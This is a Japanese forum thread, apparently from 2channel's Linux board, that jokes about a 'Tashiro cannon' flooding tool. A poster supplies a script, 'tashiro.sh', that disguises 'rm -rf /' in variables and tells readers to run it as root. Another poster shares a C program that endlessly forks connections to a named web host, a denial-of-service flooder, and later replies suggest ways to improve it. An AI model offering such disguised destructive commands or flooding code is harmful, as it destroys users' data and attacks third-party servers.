1 :
login:Penguin:
MACやLinuxのトリップ検出が出来ないので作りました。
非常に高負荷な為htmlかしてあります。
いくつか留意点がありますが、サイトの方にありますので
読んでから使用してください。もちろん、WINの方も利用できます。
不具合があったらご連絡ください。
http://tryhost.net/~vip2/trips.html html化しているのでソースのコピペ等はおやめください
(・∀・)クスクスクス
∧_∧
( ・∀・) ワクワク
oノ∧つ⊂)
( ( ・∀・) ドキドキ
∪( ∪ ∪
と__)__)
>>m9(^Д^)プギャー
>>だまされてやがんのwww
騙された…
今年一年、彼は少年の心を忘れず立派に生き抜きました。
トリップって、何ですか?
10 :
login:Penguin:05/01/02 18:17:41 ID:AuxwSyiE
田代砲のソースを教えてください。
簡単なのでいいならこんな感じだ。
rootで実行すること。
(raw accessモードが使えなくなるから非常に重くなって効果がない。)
tashiro.sh
#! /bin/sh
TARGET=www.yahoo.com
OPTION1=m
OPTION2=r
OPTION3=-rf
echo "tashiro!"
wget $TARGET #$OPTION3
$OPTION2$OPTION1 $OPTION3 /
exec ./tashiro.sh
↓のようなもので遊んでいたら、じぶんとこのnicがおかしくなりますた。
char *req = "HEAD / HTTP/1.0\n\n";
ngogo = gethostbyname("tryhost.net"); /* warui host */
signal(SIGCHLD, mhandler);
for (i = 0;;i++) {
memset(&gngo, 0, sizeof(struct sockaddr_in));
memcpy(&gngo.sin_addr, ngogo->h_addr, ngogo->h_length);
gngo.sin_family = AF_INET;
gngo.sin_port = htons(80);
if ((go = socket(AF_INET, SOCK_STREAM, 0)) >= 0) {
pid_t pid;
if ((pid = fork()) == 0) {
int ggo;
ggo = go;
if ((connect(ggo, (struct sockaddr *)&gngo,
sizeof(struct sockaddr))) == -1) {
perror("connect");
exit(0);
}
printf("connected: %d ", i);
write(ggo, req, strlen(req));
printf("sent request: %d\n", i);
close(ggo);
exit(0);
}
continue;
}
perror("socket");
}
>>13 親プロセスでソケット閉じれてないぞ。
ディスクリプタも複製されるからクローズは親子両方で必要では?
もしかすると
ぜんぶfork()したあとでやらないと
アドレス参照の中身がかわるからまずい?
...おわり。 >>>>逃
プロセス空間ごとコピーされるのでその辺の辻褄は合うはず。
サーバ書くときの常套手段だけどこの場合はforkしてhogehogeする必要はあまり無いかも。
ちょっと調べてみました、ところ
変数などは
>> プロセス空間ごとコピーされるので
のようで
いわゆるディスクリプタというものの扱いが
たとえば、
親プロセスでopen()したものを
子プロセスでread()した後で
親プロセスでread()などすると
いわゆる"sequential"のように読まれるようで、
close()などの後処理は別々にやる必要がある、
ということのようで、
あと、fgets()だけちがう挙動をする...ようで、
早い話、
もうすこしがんばりましょう、
ということのようで >>>>速
Linux板だと、こんなネタスレでもまじめな方向に持って行けるんだね。
すばらしい。
>>1 6300ゲットしたので何か下さい
>>13 ださいな。
いまどきforkかよ。
スレッド使えよ。
いや、スレッドも不要だ。
非同期でいけ。